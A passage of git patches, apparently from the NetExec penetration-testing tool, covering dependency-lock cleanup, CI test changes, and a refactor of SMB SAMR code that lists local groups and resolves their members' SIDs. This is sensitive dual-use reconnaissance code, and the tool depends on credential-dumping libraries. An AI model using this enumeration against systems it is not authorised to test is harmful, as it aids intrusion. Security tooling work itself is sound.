- {file = "msgpack-1.1.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:398b713459fea610861c8a7b62a6fec1882759f308ae0795b5413ff6a160cf3c"}, - {file = "msgpack-1.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:06f5fd2f6bb2a7914922d935d3b8bb4a7fff3a9a91cfce6d06c13bc42bec975b"}, - {file = "msgpack-1.1.0-cp312-cp312-win32.whl", hash = "sha256:ad33e8400e4ec17ba782f7b9cf868977d867ed784a1f5f2ab46e7ba53b6e1e1b"}, - {file = "msgpack-1.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:115a7af8ee9e8cddc10f87636767857e7e3717b7a2e97379dc2054712693e90f"}, - {file = "msgpack-1.1.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:071603e2f0771c45ad9bc65719291c568d4edf120b44eb36324dcb02a13bfddf"}, - {file = "msgpack-1.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0f92a83b84e7c0749e3f12821949d79485971f087604178026085f60ce109330"}, - {file = "msgpack-1.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4a1964df7b81285d00a84da4e70cb1383f2e665e0f1f2a7027e683956d04b734"}, - {file = "msgpack-1.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59caf6a4ed0d164055ccff8fe31eddc0ebc07cf7326a2aaa0dbf7a4001cd823e"}, - {file = "msgpack-1.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0907e1a7119b337971a689153665764adc34e89175f9a34793307d9def08e6ca"}, - {file = "msgpack-1.1.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65553c9b6da8166e819a6aa90ad15288599b340f91d18f60b2061f402b9a4915"}, - {file = "msgpack-1.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7a946a8992941fea80ed4beae6bff74ffd7ee129a90b4dd5cf9c476a30e9708d"}, - {file = "msgpack-1.1.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:4b51405e36e075193bc051315dbf29168d6141ae2500ba8cd80a522964e31434"}, - {file = "msgpack-1.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b4c01941fd2ff87c2a934ee6055bda4ed353a7846b8d4f341c428109e9fcde8c"}, - {file = "msgpack-1.1.0-cp313-cp313-win32.whl", hash = "sha256:7c9a35ce2c2573bada929e0b7b3576de647b0defbd25f5139dcdaba0ae35a4cc"}, - {file = "msgpack-1.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:bce7d9e614a04d0883af0b3d4d501171fbfca038f12c77fa838d9f198147a23f"}, - {file = "msgpack-1.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c40ffa9a15d74e05ba1fe2681ea33b9caffd886675412612d93ab17b58ea2fec"}, - {file = "msgpack-1.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1ba6136e650898082d9d5a5217d5906d1e138024f836ff48691784bbe1adf96"}, - {file = "msgpack-1.1.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e0856a2b7e8dcb874be44fea031d22e5b3a19121be92a1e098f46068a11b0870"}, - {file = "msgpack-1.1.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:471e27a5787a2e3f974ba023f9e265a8c7cfd373632247deb225617e3100a3c7"}, - {file = "msgpack-1.1.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:646afc8102935a388ffc3914b336d22d1c2d6209c773f3eb5dd4d6d3b6f8c1cb"}, - {file = "msgpack-1.1.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:13599f8829cfbe0158f6456374e9eea9f44eee08076291771d8ae93eda56607f"}, - {file = "msgpack-1.1.0-cp38-cp38-win32.whl", hash = "sha256:8a84efb768fb968381e525eeeb3d92857e4985aacc39f3c47ffd00eb4509315b"}, - {file = "msgpack-1.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:879a7b7b0ad82481c52d3c7eb99bf6f0645dbdec5134a4bddbd16f3506947feb"}, - {file = "msgpack-1.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:53258eeb7a80fc46f62fd59c876957a2d0e15e6449a9e71842b6d24419d88ca1"}, - {file = "msgpack-1.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7e7b853bbc44fb03fbdba34feb4bd414322180135e2cb5164f20ce1c9795ee48"}, - {file = "msgpack-1.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3e9b4936df53b970513eac1758f3882c88658a220b58dcc1e39606dccaaf01c"}, - {file = "msgpack-1.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46c34e99110762a76e3911fc923222472c9d681f1094096ac4102c18319e6468"}, - {file = "msgpack-1.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a706d1e74dd3dea05cb54580d9bd8b2880e9264856ce5068027eed09680aa74"}, - {file = "msgpack-1.1.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:534480ee5690ab3cbed89d4c8971a5c631b69a8c0883ecfea96c19118510c846"}, - {file = "msgpack-1.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8cf9e8c3a2153934a23ac160cc4cba0ec035f6867c8013cc6077a79823370346"}, - {file = "msgpack-1.1.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3180065ec2abbe13a4ad37688b61b99d7f9e012a535b930e0e683ad6bc30155b"}, - {file = "msgpack-1.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c5a91481a3cc573ac8c0d9aace09345d989dc4a0202b7fcb312c88c26d4e71a8"}, - {file = "msgpack-1.1.0-cp39-cp39-win32.whl", hash = "sha256:f80bc7d47f76089633763f952e67f8214cb7b3ee6bfa489b3cb6a84cfac114cd"}, - {file = "msgpack-1.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:4d1b7ff2d6146e16e8bd665ac726a89c74163ef8cd39fa8c1087d4e52d3a2325"}, - {file = "msgpack-1.1.0.tar.gz", hash = "sha256:dd432ccc2c72b914e4cb77afce64aab761c1137cc698be3984eee260bcb2896e"}, -] - [[package]] name = "msldap" version = "0.5.14" @@ -1546,7 +1423,7 @@ version = "24.2" description = "Core utilities for Python packages" optional = false python-versions = ">=3.8" -groups = ["main", "dev"] +groups = ["dev"] files = [ {file = "packaging-24.2-py3-none-any.whl", hash = "sha256:09abb1bccd265c01f4a3aa3f7a7db064b36514d2cba19a2f694fe6150451a759"}, {file = "packaging-24.2.tar.gz", hash = "sha256:c228a6dc5e932d346bc5739379109d49e8853dd8223571c7c5b55260edc0b97f"}, @@ -1691,26 +1568,6 @@ files = [ dev = ["pre-commit", "tox"] testing = ["pytest", "pytest-benchmark"] -[[package]] -name = "poetry-dynamic-versioning" -version = "1.7.1" -description = "Plugin for Poetry to enable dynamic versioning based on VCS tags" -optional = false -python-versions = "<4.0,>=3.7" -groups = ["main"] -files = [ - {file = "poetry_dynamic_versioning-1.7.1-py3-none-any.whl", hash = "sha256:70a4a54bee89aef276e3f2f8841f10a6f140b19c5aeb371a1a6095f84fcbe7b1"}, - {file = "poetry_dynamic_versioning-1.7.1.tar.gz", hash = "sha256:7304b8459af7b7114cd83429827c4d3d8b7d29df4129dde8dff61c76f93faaa3"}, -] - -[package.dependencies] -dunamai = ">=1.21.0,<2.0.0" -jinja2 = ">=2.11.1,<4" -tomlkit = ">=0.4" - -[package.extras] -plugin = ["poetry (>=1.2.0)"] - [[package]] name = "prompt-toolkit" version = "3.0.50" @@ -2511,18 +2368,6 @@ files = [ {file = "tomli-2.2.1.tar.gz", hash = "sha256:cd45e1dc79c835ce60f7404ec8119f2eb06d38b1deba146f07ced3bbc44505ff"}, ] -[[package]] -name = "tomlkit" -version = "0.13.2" -description = "Style preserving TOML library" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "tomlkit-0.13.2-py3-none-any.whl", hash = "sha256:7a974427f6e119197f670fbbbeae7bef749a6c14e793db934baefc1b5f03efde"}, - {file = "tomlkit-0.13.2.tar.gz", hash = "sha256:fff5fe59a87295b278abd31bec92c15d9bc4a06885ab12bcea52c71119392e79"}, -] - [[package]] name = "tqdm" version = "4.67.1" @@ -2649,4 +2494,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "8858f2cec759388e7f2c45771018d76ec5c0d394fe668c0954bf213c1452a448" +content-hash = "b87e923a6a9b5f0403ad72d12df2dcd751ff54de3ba2b80b7a04c5076398308e" diff --git a/pyproject.toml b/pyproject.toml index 65b76ddb..22e5f40c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -18,8 +18,6 @@ classifiers = [ ] dependencies = [ "aardwolf>=0.2.8", - "aioconsole>=0.6.2", - "aiosqlite>=0.19.0", "argcomplete>=3.1.4", "asyauth>=0.0.20", "beautifulsoup4>=4.11,<5", @@ -30,11 +28,9 @@ dependencies = [ "lsassy>=3.1.11", "masky>=0.2.0", "minikerberos>=0.4.1", - "msgpack>=1.0.0", "msldap>=0.5.10", "neo4j>=5.0.0", "paramiko>=3.3.1", - "poetry-dynamic-versioning>=1.2.0", "pyasn1-modules>=0.3.0", "pylnk3>=0.4.2", "pypsrp>=0.8.1", From c7f28f536386ea724c9aa9110118c6a5bf149736 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 11:30:04 -0500 Subject: [PATCH 323/376] Remove poetry version lock in tests and remove duplicate poetry installation --- .github/workflows/test.yml | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 9a9d281a..289147e5 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -19,7 +19,9 @@ jobs: - uses: actions/checkout@v4 - name: Install poetry run: | - pipx install poetry==1.8.4 + pipx install poetry + poetry --version + poetry env info - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }} uses: actions/setup-python@v5 with: @@ -29,11 +31,6 @@ jobs: - name: Install with pipx run: | pipx install . --python python${{ matrix.python-version }} - - name: Install poetry - run: | - pipx install poetry --python python${{ matrix.python-version }} - poetry --version - poetry env info - name: Install libraries with dev group run: | poetry install --with dev @@ -48,4 +45,4 @@ jobs: poetry run netexec mssql 127.0.0.1 poetry run netexec ssh 127.0.0.1 poetry run netexec ftp 127.0.0.1 - poetry run netexec smb 127.0.0.1 -M veeam + poetry run netexec smb 127.0.0.1 -L From ec8abe6c6cd63dee7341ae876d84308895acf073 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 11:45:53 -0500 Subject: [PATCH 324/376] Formating --- nxc/protocols/ftp/database.py | 2 +- nxc/protocols/smb/database.py | 2 +- nxc/protocols/ssh/database.py | 2 +- nxc/protocols/winrm/database.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ftp/database.py b/nxc/protocols/ftp/database.py index 14157c18..e7a2f1c7 100644 --- a/nxc/protocols/ftp/database.py +++ b/nxc/protocols/ftp/database.py @@ -222,7 +222,7 @@ class database(BaseDB): # if we're filtering by host elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) - + results = self.db_execute(q).all() nxc_logger.debug(f"FTP get_hosts() - results: {results}") return results diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py index 2f927086..67fa3457 100755 --- a/nxc/protocols/smb/database.py +++ b/nxc/protocols/smb/database.py @@ -470,7 +470,7 @@ class database(BaseDB): # if we're filtering by ip/hostname elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) - + results = self.db_execute(q).all() nxc_logger.debug(f"smb hosts() - results: {results}") return results diff --git a/nxc/protocols/ssh/database.py b/nxc/protocols/ssh/database.py index c8ee5226..7cf25475 100644 --- a/nxc/protocols/ssh/database.py +++ b/nxc/protocols/ssh/database.py @@ -349,7 +349,7 @@ class database(BaseDB): # if we're filtering by host elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) - + results = self.db_execute(q).all() nxc_logger.debug(f"SSH get_hosts() - results: {results}") return results diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index e1056fd6..c7c11feb 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -309,7 +309,7 @@ class database(BaseDB): # if we're filtering by ip/hostname elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) - + results = self.db_execute(q).all() nxc_logger.debug(f"winrm get_hosts() - results: {results}") return results From a45ba3b0fca8790848bad145eaf9b5e7563bbde6 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 8 Mar 2025 22:25:48 +0100 Subject: [PATCH 325/376] add local enumeration members on local group --- nxc/protocols/smb.py | 7 ++-- nxc/protocols/smb/samrfunc.py | 65 +++++++++++++++++++---------------- 2 files changed, 41 insertions(+), 31 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index ff456074..bedf343f 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1259,8 +1259,8 @@ class smb(connection): self.logger.fail(f"Failed to enumerate disks: {e}") def local_groups(self): - self.logger.display("Trying with SAMRPC protocol") - groups = SamrFunc(self).get_local_groups() + self.logger.display("Enumerating with SAMRPC protocol") + groups, members = SamrFunc(self).get_local_groups(self.args.local_groups) if groups: self.logger.success("Enumerated local groups") self.logger.debug(f"Local groups: {groups}") @@ -1270,6 +1270,9 @@ class smb(connection): group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] self.logger.debug(f"Added group, returned id: {group_id}") + for member in members: + self.logger.highlight(member) + def groups(self): self.logger.fail("[DEPRECATED] Arg moved to the ldap protocol") return diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py index ae672523..a37e79de 100644 --- a/nxc/protocols/smb/samrfunc.py +++ b/nxc/protocols/smb/samrfunc.py @@ -40,47 +40,52 @@ class SamrFunc: self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey) self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger) - def get_builtin_groups(self): + def get_builtin_groups(self, group): domains = self.samr_query.get_domains() - + groups_members = [] + members = [] if "Builtin" not in domains: logging.error("No Builtin group to query locally on") return None domain_handle = self.samr_query.get_domain_handle("Builtin") - return self.samr_query.get_domain_aliases(domain_handle) + builtin_groups = self.samr_query.get_domain_aliases(domain_handle, group) + if group: + members = self.get_local_users(builtin_groups, domain_handle) + return builtin_groups, members - def get_custom_groups(self): + def get_custom_groups(self, group=None): domains = self.samr_query.get_domains() custom_groups = {} - + members = [] for domain in domains: if domain == "Builtin": continue domain_handle = self.samr_query.get_domain_handle(domain) - custom_groups.update(self.samr_query.get_domain_aliases(domain_handle)) - return custom_groups + custom_groups.update(self.samr_query.get_domain_aliases(domain_handle, group)) + if group: + members = self.get_local_users(custom_groups, domain_handle) + return custom_groups, members - def get_local_groups(self): - builtin_groups = self.get_builtin_groups() - custom_groups = self.get_custom_groups() - return {**builtin_groups, **custom_groups} - - def get_local_users(self): - pass - - def get_local_administrators(self): - self.get_builtin_groups() - if "Administrators" in self.groups: - self.logger.success(f"Found Local Administrators group: RID {self.groups['Administrators']}") - domain_handle = self.samr_query.get_domain_handle("Builtin") - self.logger.debug("Querying group members") - member_sids = self.samr_query.get_alias_members(domain_handle, self.groups["Administrators"]) - member_names = self.lsa_query.lookup_sids(member_sids) - - for sid, name in zip(member_sids, member_names, strict=True): - print(f"{name} - {sid}") + def get_local_groups(self, group=None): + if group: + self.logger.display(f"Querying group: {group}") + builtin_groups, builtin_groups_members = self.get_builtin_groups(group) + custom_groups, custom_groups_members = self.get_custom_groups(group) + return {**builtin_groups, **custom_groups}, builtin_groups_members + custom_groups_members + def get_local_users(self, group, domain_handle): + users = [] + try: + for group_name, alias_id in group.items(): + member_sids = self.samr_query.get_alias_members(domain_handle, alias_id) + member_names = self.lsa_query.lookup_sids(member_sids) + for sid, name in zip(member_sids, member_names, strict=True): + users.append(f"{name} - {sid}") + except Exception as e: + nxc_logger.debug(f"Error enumerating users in {group}: {e}") + return [] + return users class SAMRQuery: def __init__( @@ -163,12 +168,15 @@ class SAMRQuery: resp = samr.hSamrOpenDomain(self.dce, serverHandle=self.server_handle, domainId=resp["DomainId"]) return resp["DomainHandle"] - def get_domain_aliases(self, domain_handle): + def get_domain_aliases(self, domain_handle, group=None): """Use a dictionary comprehension to generate the aliases dictionary. Calls the hSamrEnumerateAliasesInDomain() method directly in the dictionary comprehension and extracts the "Name" and "RelativeId" values from each element in the "Buffer" list """ - return {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]} + aliases = {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]} + if group: + aliases = {name: rid for name, rid in aliases.items() if name == group} + return aliases def get_alias_handle(self, domain_handle, alias_id): resp = samr.hSamrOpenAlias(self.dce, domain_handle, desiredAccess=MAXIMUM_ALLOWED, aliasId=alias_id) @@ -179,7 +187,6 @@ class SAMRQuery: alias_handle = self.get_alias_handle(domain_handle, alias_id) return [member["SidPointer"].formatCanonical() for member in samr.hSamrGetMembersInAlias(self.dce, alias_handle)["Members"]["Sids"]] - class LSAQuery: def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kdcHost="", aesKey="", kerberos=None, logger=None): self.__username = username From d279bb8ad1d57a9f9fb770bb2677654fb8351f96 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 8 Mar 2025 22:34:03 +0100 Subject: [PATCH 326/376] fix ruff --- nxc/protocols/smb/samrfunc.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py index a37e79de..b5c8d57f 100644 --- a/nxc/protocols/smb/samrfunc.py +++ b/nxc/protocols/smb/samrfunc.py @@ -42,7 +42,6 @@ class SamrFunc: def get_builtin_groups(self, group): domains = self.samr_query.get_domains() - groups_members = [] members = [] if "Builtin" not in domains: logging.error("No Builtin group to query locally on") @@ -77,7 +76,7 @@ class SamrFunc: def get_local_users(self, group, domain_handle): users = [] try: - for group_name, alias_id in group.items(): + for alias_id in group.values(): member_sids = self.samr_query.get_alias_members(domain_handle, alias_id) member_names = self.lsa_query.lookup_sids(member_sids) for sid, name in zip(member_sids, member_names, strict=True): From 25e7529a7c16e3d6084b88d0b5e6af957e4fddf5 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 8 Mar 2025 22:36:23 +0100 Subject: [PATCH 327/376] remove pywerview from pyproject --- pyproject.toml | 1 - 1 file changed, 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index cf78d1ea..4a010aa1 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -35,7 +35,6 @@ dependencies = [ "pylnk3>=0.4.2", "pypsrp>=0.8.1", "pypykatz>=0.6.8", - "pywerview==0.3.3", # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23) "python-dateutil>=2.8.2", "python-libnmap>=0.7.3", "requests>=2.27.1", From 0129b43a827db648b38a9c61cb489057115eaccd Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 8 Mar 2025 22:40:30 +0100 Subject: [PATCH 328/376] add poetry.lock --- poetry.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index 8fdc98f4..97d036cd 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2462,4 +2462,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "b87e923a6a9b5f0403ad72d12df2dcd751ff54de3ba2b80b7a04c5076398308e" +content-hash = "82a5e366a4270596f82655b99b5f0f22887fc72d5d04eefc3cddc945c9e69794" From ddc00c97da086afc1d6de83a1fe2836f4ec1038d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 20:16:47 -0500 Subject: [PATCH 329/376] Raise exception on rpc_access_denied so it doesnt crash later for unkown reasons, use provided logger instead of nxc_logger --- nxc/protocols/smb/samrfunc.py | 29 +++++++++++------------------ 1 file changed, 11 insertions(+), 18 deletions(-) diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py index b5c8d57f..d3fa561a 100644 --- a/nxc/protocols/smb/samrfunc.py +++ b/nxc/protocols/smb/samrfunc.py @@ -9,7 +9,6 @@ from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket.nmb import NetBIOSError from impacket.smbconnection import SessionError -from nxc.logger import nxc_logger class SamrFunc: @@ -37,7 +36,7 @@ class SamrFunc: if self.password is None: self.password = "" - self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey) + self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, logger=self.logger) self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger) def get_builtin_groups(self, group): @@ -82,23 +81,13 @@ class SamrFunc: for sid, name in zip(member_sids, member_names, strict=True): users.append(f"{name} - {sid}") except Exception as e: - nxc_logger.debug(f"Error enumerating users in {group}: {e}") + self.logger.debug(f"Error enumerating users in {group}: {e}") return [] return users + class SAMRQuery: - def __init__( - self, - username="", - password="", - domain="", - port=445, - remote_name="", - remote_host="", - kerberos=None, - kdcHost="", - aesKey="", - ): + def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kerberos=None, kdcHost="", aesKey="", logger=None,): self.__username = username self.__password = password self.__domain = domain @@ -110,12 +99,13 @@ class SAMRQuery: self.__remote_host = remote_host self.__kerberos = kerberos self.__kdcHost = kdcHost + self.logger = logger self.dce = self.get_dce() self.server_handle = self.get_server_handle() def get_transport(self): string_binding = rf"ncacn_np:{self.__port}[\pipe\samr]" - nxc_logger.debug(f"Binding to {string_binding}") + self.logger.debug(f"Binding to {string_binding}") # using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr' return transport.SMBTransport( self.__remote_name, @@ -151,11 +141,13 @@ class SAMRQuery: try: resp = samr.hSamrConnect(self.dce) except samr.DCERPCException as e: - nxc_logger.debug(f"Error while connecting with Samr: {e}") + if "rpc_s_access_denied" in str(e): + raise + self.logger.debug(f"Error while connecting with Samr: {e}") return None return resp["ServerHandle"] else: - nxc_logger.debug("Error creating Samr handle") + self.logger.debug("Error creating Samr handle") def get_domains(self): """Calls the hSamrEnumerateDomainsInSamServer() method directly with list comprehension and extracts the "Name" value from each element in the "Buffer" list.""" @@ -186,6 +178,7 @@ class SAMRQuery: alias_handle = self.get_alias_handle(domain_handle, alias_id) return [member["SidPointer"].formatCanonical() for member in samr.hSamrGetMembersInAlias(self.dce, alias_handle)["Members"]["Sids"]] + class LSAQuery: def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kdcHost="", aesKey="", kerberos=None, logger=None): self.__username = username From 93446a593f735fa7c048266d6a4c0b9366f8962a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 20:17:51 -0500 Subject: [PATCH 330/376] Add Exception handling when we get rpc_access_denied --- nxc/protocols/smb.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index bedf343f..cb0d49b0 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1260,7 +1260,11 @@ class smb(connection): def local_groups(self): self.logger.display("Enumerating with SAMRPC protocol") - groups, members = SamrFunc(self).get_local_groups(self.args.local_groups) + try: + groups, members = SamrFunc(self).get_local_groups(self.args.local_groups) + except DCERPCException as e: + self.logger.fail(f"Error enumerating local groups: {e}") + return if groups: self.logger.success("Enumerated local groups") self.logger.debug(f"Local groups: {groups}") From f7c6f20ba72adab08cc67e321631e9a70d16f8c2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 20:49:45 -0500 Subject: [PATCH 331/376] Sort member output by sid for better alignment --- nxc/protocols/smb.py | 18 +++++++++++------- nxc/protocols/smb/samrfunc.py | 13 ++++++------- 2 files changed, 17 insertions(+), 14 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index cb0d49b0..e346345e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1265,17 +1265,21 @@ class smb(connection): except DCERPCException as e: self.logger.fail(f"Error enumerating local groups: {e}") return - if groups: + + if groups and not self.args.local_groups: self.logger.success("Enumerated local groups") self.logger.debug(f"Local groups: {groups}") - for group_name, group_rid in groups.items(): - self.logger.highlight(f"{group_rid} - {group_name}") - group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] - self.logger.debug(f"Added group, returned id: {group_id}") + for group_name, group_rid in groups.items(): + self.logger.highlight(f"{group_rid} - {group_name}") + group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] + self.logger.debug(f"Added group, returned id: {group_id}") + elif groups and members: + self.logger.success(f"Enumerated users of local groups: {groups.popitem()[0]}") - for member in members: - self.logger.highlight(member) + members = dict(sorted(members.items(), key=lambda item: int(item[0].split("-")[-1]))) + for member in members: + self.logger.highlight(f"{member} - {members[member]}") def groups(self): self.logger.fail("[DEPRECATED] Arg moved to the ldap protocol") diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py index d3fa561a..e65fb5c8 100644 --- a/nxc/protocols/smb/samrfunc.py +++ b/nxc/protocols/smb/samrfunc.py @@ -41,7 +41,7 @@ class SamrFunc: def get_builtin_groups(self, group): domains = self.samr_query.get_domains() - members = [] + members = {} if "Builtin" not in domains: logging.error("No Builtin group to query locally on") return None @@ -55,7 +55,7 @@ class SamrFunc: def get_custom_groups(self, group=None): domains = self.samr_query.get_domains() custom_groups = {} - members = [] + members = {} for domain in domains: if domain == "Builtin": continue @@ -70,19 +70,18 @@ class SamrFunc: self.logger.display(f"Querying group: {group}") builtin_groups, builtin_groups_members = self.get_builtin_groups(group) custom_groups, custom_groups_members = self.get_custom_groups(group) - return {**builtin_groups, **custom_groups}, builtin_groups_members + custom_groups_members + return {**builtin_groups, **custom_groups}, builtin_groups_members | custom_groups_members def get_local_users(self, group, domain_handle): - users = [] + users = {} try: for alias_id in group.values(): member_sids = self.samr_query.get_alias_members(domain_handle, alias_id) member_names = self.lsa_query.lookup_sids(member_sids) - for sid, name in zip(member_sids, member_names, strict=True): - users.append(f"{name} - {sid}") + users = dict(zip(member_sids, member_names, strict=True)) except Exception as e: self.logger.debug(f"Error enumerating users in {group}: {e}") - return [] + return {} return users From 84dbe26bd6cd8919c65e6ddbfc0e5b5cce8a62a8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 20:54:59 -0500 Subject: [PATCH 332/376] Change wording to REMOVED as it actually is removed --- nxc/modules/group-mem.py | 4 ++-- nxc/protocols/smb.py | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/nxc/modules/group-mem.py b/nxc/modules/group-mem.py index b6b95f02..bd79b2cb 100644 --- a/nxc/modules/group-mem.py +++ b/nxc/modules/group-mem.py @@ -20,7 +20,7 @@ class NXCModule: def options(self, context, module_options): r""" - [DEPRECATED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem. Will be removed in the future. + [REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem. group-mem: Specify group-mem to call the module GROUP: Specify the GROUP option to query for that group's members @@ -36,7 +36,7 @@ class NXCModule: sys.exit(1) def on_login(self, context, connection): - self.logger.fail("[DEPRECATED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem. Will be removed in the future.") + self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.") return None # First look up the SID of the group passed in diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e346345e..0161d29a 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1239,7 +1239,7 @@ class smb(connection): return dc_ips def smb_sessions(self): - self.logger.fail("[DEPRECATED] Use option --qwinsta or --loggedon-users") + self.logger.fail("[REMOVED] Use option --qwinsta or --loggedon-users") return def disks(self): @@ -1282,7 +1282,7 @@ class smb(connection): self.logger.highlight(f"{member} - {members[member]}") def groups(self): - self.logger.fail("[DEPRECATED] 